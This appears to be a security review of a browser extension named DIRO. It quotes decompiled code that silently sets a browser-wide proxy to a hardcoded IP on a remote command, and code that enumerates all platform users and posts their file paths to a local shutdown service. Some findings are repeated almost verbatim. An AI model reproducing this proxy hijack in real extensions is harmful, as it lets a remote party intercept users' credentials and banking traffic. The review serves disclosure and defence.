DIRO

The function O() hardcodes a proxy server at 13.57.168.244:3128 and sets it as the browser-wide proxy via chrome.proxy.settings.set. It is called remotely on WebSocket message 'defaultproxy' (line 735), meaning the DIRO server can silently reroute ALL browser traffic through an arbitrary IP at any time, enabling full man-in-the-middle interception of all HTTP and HTTPS connections regardless of the site visited. This is not a declared data-collection category and goes far beyond the disclosed open-banking verification purpose.

function O() {  return x(this, void 0, void 0, (function*() {    const e = {      value: {        mode: "fixed_servers",        rules: {          singleProxy: {            scheme: "http",            host: "13.57.168.244",            port: Number("3128")          }        }      },      scope: "regular"    };    yield function(e) {      return x(this, void 0, void 0, (function*() {        return new Promise((o => chrome.proxy.settings.set(e, o)))      }))    }(e)  }))}

The extension hard-codes a specific IP address (13.57.168.244:3128) as an HTTP proxy for all browser traffic whenever the WebSocket server sends a 'defaultproxy' command. Because the proxy covers `<all_urls>` (the extension's declared host permissions) and uses a plain-IP address rather than a diro.io domain, any actor who controls this IP — or whose traffic passes through it — can read and modify every byte the browser sends, including credentials, session tokens, and banking data being captured during the purported KYC flow. A legitimate KYC service can verify documents without proxying ALL browser traffic; this over-broad capability is not disclosed or justified by the stated purpose.

function O() {  return x(this, void 0, void 0, (function*() {    const e = {      value: {        mode: "fixed_servers",        rules: {          singleProxy: {            scheme: "http",            host: "13.57.168.244",            port: Number("3128")          }        }      },      scope: "regular"    };    yield function(e) {      return x(this, void 0, void 0, (function*() {        return new Promise((o => chrome.proxy.settings.set(e, o)))      }))    }(e)  }))}

Ten seconds after load the extension fetches all platform users from https://api.diro.io/ube/get-all-data with no session or authentication header, iterates every user record, and fires a POST to http://localhost:8080/FtpFileAccess-1.0/shutdown with each free/expired user's Windows file path. This is platform-wide server-management logic embedded in a client browser extension; it exposes the full user roster from an unauthenticated endpoint and triggers side-effects (shutdown, file operations) against local infrastructure on behalf of arbitrary third-party accounts — capabilities that are entirely undisclosed and inappropriate for a user-facing extension.

setTimeout((() => A(void 0, void 0, void 0, (function*() {  try {    const e = yield t(void 0, void 0, void 0, (function*() {      const e = n.getalldata, // https://api.diro.io/ube/get-all-data        o = {          method: "GET"        };      try {        const n = yield fetch(e, o);        if (!n.ok) throw new Error("Network response was not ok");        const t = yield n.json();        return console.log("getalluserdata data:", t), t      } catch (e) {        throw e      }    }));    for (let o = 0; o < e.length; o++)      if ("free" == e[o].guac_status) {        let n = {          filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"        };        l(n) // sendFileForShutdown -> POST http://localhost:8080/FtpFileAccess-1.0/shutdown      } else if (null != e[o].freetime && e[o].freetime <= new Date) {      let n = {        filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"      };      l(n)    }  } catch (e) {    console.log("getalluserdata ERROR", e)  }}))), 1e4)

On startup, the extension fetches all user records from `https://api.diro.io/ube/get-all-data` — not filtered to the current session — and iterates over every user whose `guac_status` is 'free' or whose free-time has expired, constructing Windows file-system paths for those users and dispatching a POST to a local companion service (`localhost:8080/FtpFileAccess-1.0/shutdown`). This cross-user data access from a client-side extension is architecturally unusual: a single user's extension should never need to enumerate and act on the session state of other platform users. The CWS data-collection disclosure covers the current user's data, not multi-tenant server-side user records materialized inside each installed extension instance.

setTimeout((() => A(void 0, void 0, void 0, (function*() {  try {    const e = yield t(void 0, void 0, void 0, (function*() {      const e = n.getalldata, // https://api.diro.io/ube/get-all-data        o = {          method: "GET"        };      ...      const t = yield n.json();      return t    }));    for (let o = 0; o < e.length; o++)      if ("free" == e[o].guac_status) {        let n = {          filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"        };        l(n) // sendFileForShutdown      } else if (null != e[o].freetime && e[o].freetime <= new Date) {      let n = {        filename: "C:\\Users\\" + e[o].user_name + "\\Downloads\\diro_default.txt"      };      l(n)    }  } catch (e) {    ...  }}))), 1e4)

Both popup.html and options.html carry the title 'Weather Extension', which is inconsistent with the extension's declared identity as a DIRO banking verification tool. This indicates the extension UI was either copied from a different (possibly malicious) template or is intentionally mislabeled, suggesting deliberate obfuscation of the extension's true identity or purpose.

< !doctype html>  < html>    < head>      < meta charset="utf-8">        < title> Weather Extension < /title>